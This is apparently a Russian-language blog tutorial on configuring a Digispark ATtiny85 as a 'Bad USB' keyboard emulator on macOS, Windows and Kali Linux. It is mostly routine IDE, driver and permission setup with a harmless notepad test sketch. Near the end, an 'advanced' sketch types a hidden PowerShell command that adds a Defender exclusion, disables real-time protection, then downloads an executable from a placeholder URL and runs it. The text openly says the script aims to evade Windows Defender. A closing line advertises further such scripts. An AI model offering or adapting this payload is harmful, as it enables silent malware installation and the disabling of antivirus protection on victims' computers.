Настройка и использование Digispark на macOS, Windows и Kali Linux

Настройка и использование Digispark на macOS, Windows и Kali Linux

BAD USB (BAD EVIL, BAD USB RUBBER DUCKY)

Digispark — это компактная плата на базе микроконтроллера ATtiny85, которая может эмулировать клавиатуру или мышь через USB благодаря загрузчику Micronucleus. Она популярна для создания USB-устройств, автоматизации задач и образовательных проектов. В этой статье мы подробно разберем, как настроить Digispark для работы на macOS, Windows и Kali Linux, а также как загрузить простой тестовый скрипт для эмуляции клавиатурного ввода.

Общие требования

Перед началом убедитесь, что у вас есть:

  • Плата Digispark (ATtiny85 с загрузчиком Micronucleus).
  • USB-кабель или порт для подключения Digispark.
  • Установленная среда разработки Arduino IDE (версия 1.8.x или 2.x).
  • Доступ к интернету для загрузки библиотек и драйверов.

Мы будем использовать ATTinyCore вместо устаревшего ядра Digistump, так как оно более современное и совместимо с последними версиями компиляторов. Также мы установим библиотеку DigiKeyboard для эмуляции клавиатуры.

1. Настройка Digispark на macOS

Шаг 1: Установка Arduino IDE

  1. Скачайте Arduino IDE с официального сайта.
  2. Установите приложение, следуя инструкциям для macOS.
  3. Запустите Arduino IDE и убедитесь, что она работает.

Шаг 2: Установка Homebrew (для зависимостей)

Homebrew необходим для установки libusb-compat, используемого загрузчиком Micronucleus.

  1. Откройте Terminal.
  2. Установите Homebrew:/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  3. Добавьте Homebrew в PATH (для Apple Silicon):echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile eval "$(/opt/homebrew/bin/brew shellenv)" Для Intel Macs используйте ~/.bash_profile вместо ~/.zprofile, если ваша оболочка — Bash.
  4. Проверьте установку:brew --version

Шаг 3: Установка ATTinyCore

  1. В Arduino IDE перейдите в File → Preferences.
  2. В поле Additional Boards Manager URLs добавьте:http://drazzy.com/package_drazzy.com_index.json
  3. Перейдите в Tools → Board → Boards Manager, найдите ATTinyCore и установите его.
  4. Выберите плату: Tools → Board → ATTinyCore → ATtiny25/45/85 (Micronucleus / DigiSpark).Установите: Chip: ATtiny85, Clock: 16.5 MHz (Micronucleus), B.O.D.: Disabled, Programmer: Micronucleus.

Шаг 4: Установка библиотеки DigiKeyboard

  1. Скачайте библиотеку DigisparkKeyboard из репозитория Digistump.
  2. Скопируйте папку DigisparkKeyboard в ~/Documents/Arduino/libraries/.
  3. Перезапустите Arduino IDE.

Шаг 5: Установка libusb-compat

  1. Установите libusb-compat для Micronucleus:brew install libusb-compat
  2. Проверьте наличие библиотеки:ls /opt/homebrew/lib/libusb-0.1.4.dylib

Шаг 6: Тестовый скрипт

Создайте новый скетч в Arduino IDE и вставьте следующий код:

#pragma GCC diagnostic ignored "-Woverflow" #include "DigiKeyboard.h" void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(300); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R DigiKeyboard.delay(100); DigiKeyboard.print("notepad"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("Digispark on macOS works!"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() {}

Шаг 7: Загрузка скетча

  1. Подключите Digispark к USB-порту только после команды загрузки.
  2. В Arduino IDE выберите Tools → Programmer → Micronucleus.
  3. Нажмите Upload. Когда появится сообщение Plug in device now..., подключите Digispark.
  4. После успешной загрузки подключите Digispark к Windows-компьютеру. Скетч откроет блокнот и напечатает текст.

Устранение проблем

  • Ошибка libusb-0.1.4.dylib:sudo ln -s /opt/homebrew/lib/libusb-0.1.4.dylib /usr/local/opt/libusb-compat/lib/libusb-0.1.4.dylib
  • Digispark не распознается:Проверьте устройство:ls /dev/cu* Убедитесь, что появляется /dev/cu.usbmodem*.
  • Предупреждения о переполнении: Код выше подавляет их с помощью #pragma.

2. Настройка Digispark на Windows

Шаг 1: Установка Arduino IDE

  1. Скачайте и установите Arduino IDE с официального сайта.
  2. Запустите приложение.

Шаг 2: Установка ATTinyCore

  1. В Arduino IDE: File → Preferences.
  2. Добавьте в Additional Boards Manager URLs:http://drazzy.com/package_drazzy.com_index.json
  3. В Tools → Board → Boards Manager установите ATTinyCore.
  4. Выберите: Tools → Board → ATTinyCore → ATtiny25/45/85 (Micronucleus / DigiSpark).Настройки: Chip: ATtiny85, Clock: 16.5 MHz, B.O.D.: Disabled, Programmer: Micronucleus.

Шаг 3: Установка библиотеки DigiKeyboard

  1. Скачайте DigisparkKeyboard из репозитория Digistump.
  2. Скопируйте папку DigisparkKeyboard в C:\Users\<Ваше_имя>\Documents\Arduino\libraries.
  3. Перезапустите Arduino IDE.

Шаг 4: Установка драйвера Digispark

  1. Скачайте драйвер Digispark с Digistump Wiki.
  2. Подключите Digispark к USB.
  3. В Device Manager найдите Digispark Bootloader (может быть как неизвестное устройство).
  4. Установите драйвер, указав путь к скачанным файлам.

Шаг 5: Тестовый скрипт

Используйте тот же код, что и для macOS (см. выше).

Шаг 6: Загрузка скетча

  1. В Arduino IDE выберите Tools → Programmer → Micronucleus.
  2. Нажмите Upload и подключите Digispark, когда появится сообщение Plug in device now....
  3. После загрузки протестируйте на Windows: блокнот должен открыться и напечатать текст.

Устранение проблем

  • Digispark не распознается:Проверьте в Device Manager, что драйвер установлен.
  • Ошибка загрузки:Попробуйте другой USB-порт или кабель. Убедитесь, что подключаете Digispark в нужный момент.

3. Настройка Digispark на Kali Linux

Шаг 1: Установка Arduino IDE

  1. Откройте терминал и обновите систему:sudo apt update && sudo apt upgrade
  2. Установите Arduino IDE:sudo apt install arduino Или скачайте последнюю версию с официального сайта и установите вручную.

Шаг 2: Установка ATTinyCore

  1. В Arduino IDE: File → Preferences.
  2. Добавьте URL:http://drazzy.com/package_drazzy.com_index.json
  3. В Tools → Board → Boards Manager установите ATTinyCore.
  4. Выберите: Tools → Board → ATTinyCore → ATtiny25/45/85 (Micronucleus / DigiSpark).Настройки: Chip: ATtiny85, Clock: 16.5 MHz, B.O.D.: Disabled, Programmer: Micronucleus.

Шаг 3: Установка библиотеки DigiKeyboard

  1. Скачайте DigisparkKeyboard из репозитория Digistump.
  2. Скопируйте папку в ~/Arduino/libraries.
  3. Перезапустите Arduino IDE.

Шаг 4: Установка Micronucleus

  1. Установите зависимости:sudo apt install libusb-dev
  2. Скачайте и установите Micronucleus:git clone https://github.com/micronucleus/micronucleus.git cd micronucleus/commandline make sudo cp micronucleus /usr/local/bin/

Шаг 5: Настройка прав USB

  1. Проверьте, распознается ли Digispark:lsusb Ищите устройство с ID, связанным с Digispark (например, 16c0:05df).
  2. Настройте права:sudo usermod -a -G dialout $USER sudo chmod 666 /dev/ttyACM*
  3. Перезайдите в систему или перезагрузите компьютер.

Шаг 6: Тестовый скрипт

Используйте тот же код, что и выше.

Шаг 7: Загрузка скетча

  1. Запустите Arduino IDE с правами (если требуется):sudo arduino
  2. Выберите Tools → Programmer → Micronucleus.
  3. Нажмите Upload и подключите Digispark, когда появится сообщение.
  4. Протестируйте на Windows-компьютере.

Устранение проблем

  • Digispark не виден:Проверьте lsusb и права USB.
  • Ошибка Micronucleus:Переустановите libusb-dev и Micronucleus.

Использование Digispark

После настройки Digispark можно использовать для:

  • Автоматизации задач: Например, ввод команд в PowerShell или CMD.
  • Тестирования безопасности: Создание скриптов для эмуляции ввода (с разрешения владельца системы).
  • Образовательных проектов: Изучение микроконтроллеров и USB HID.

Пример продвинутого скрипта (скачивание файла на Windows):

#pragma GCC diagnostic ignored "-Woverflow" #include "DigiKeyboard.h" void setup() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(300); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(100); DigiKeyboard.print("powershell -NoP -W H"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("Add-MpPreference -ExclusionPath '$env:USERPROFILE\\Desktop' -EA 0;Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;$u='https://example.com/file.exe';$o='$env:USERPROFILE\\Desktop\\f.exe';iwr $u -OutFile $o -EA 0;Start-Process $o;exit"); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() {}

  • Замените URL и имя файла на нужные.
  • Этот скрипт скачивает и запускает файл, пытаясь обойти Windows Defender.

Заключение

Digispark — мощный инструмент для автоматизации и экспериментов, но его настройка требует внимания к деталям. Использование ATTinyCore вместо устаревшего Digistump ядра упрощает работу и устраняет проблемы с компиляцией. На macOS важно установить Homebrew и libusb-compat, на Windows — драйверы, а на Kali — настроить права USB.

Предупреждение: Используйте Digispark ответственно. Скрипты, изменяющие настройки системы или запускающие файлы без разрешения, могут быть незаконными. Всегда получайте согласие владельца устройства.

Если у вас возникнут проблемы, обратитесь к документации ATTinyCore или сообществам, таким как Arduino Forum или Digistump Wiki.

Более интимные скрипты можно найти на нашем сайте

Начать дискуссию